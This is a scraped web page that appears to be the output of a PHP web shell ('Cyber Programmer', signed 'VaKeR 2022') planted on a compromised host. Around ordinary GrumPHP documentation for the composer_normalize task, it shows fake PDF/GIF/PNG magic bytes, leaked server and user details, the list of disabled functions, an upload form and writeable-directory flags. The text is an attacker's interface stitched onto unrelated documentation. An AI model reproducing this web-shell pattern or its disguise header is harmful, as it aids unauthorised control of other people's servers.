%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/vendor/phpro/grumphp/doc/tasks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/vendor/phpro/grumphp/doc/tasks/composer_normalize.md
# Composer Normalize ![fixer](https://img.shields.io/badge/-fixer-informational)

If you are using `composer`, you have probably modified the file `composer.json` at least once to keep things nice
and tidy.

***Composer***

```
composer require --dev ergebnis/composer-normalize
```

***Config***

This task is a wrapper around a composer plugin for tidying up the file `composer.json`.

The default configuration looks like:

```yaml
# grumphp.yml
grumphp:
    tasks:
        composer_normalize:
            indent_size: ~
            indent_style: ~
            no_check_lock: false
            no_update_lock: true
            verbose: false
```

**indent_size**

*Default: null*

Indent size (an integer greater than 0); must be used with the `indent_style` option

**indent_style**

*Default: null*

Indent style (one of "space", "tab"); must be used with the `indent_size` option

**no_check_lock**

*Default: false*

If `true`, do not check if lock file is up to date.

**no_update_lock**

*Default: true*

If `false`, do not update lock file if it exists.

**use_standalone**

*Default: false*

If `true`, use the standalone `composer-normalize` command instead of the Composer plugin.

**verbose**

*Default: false*

Set this to true if you want to see the diff.

VaKeR 2022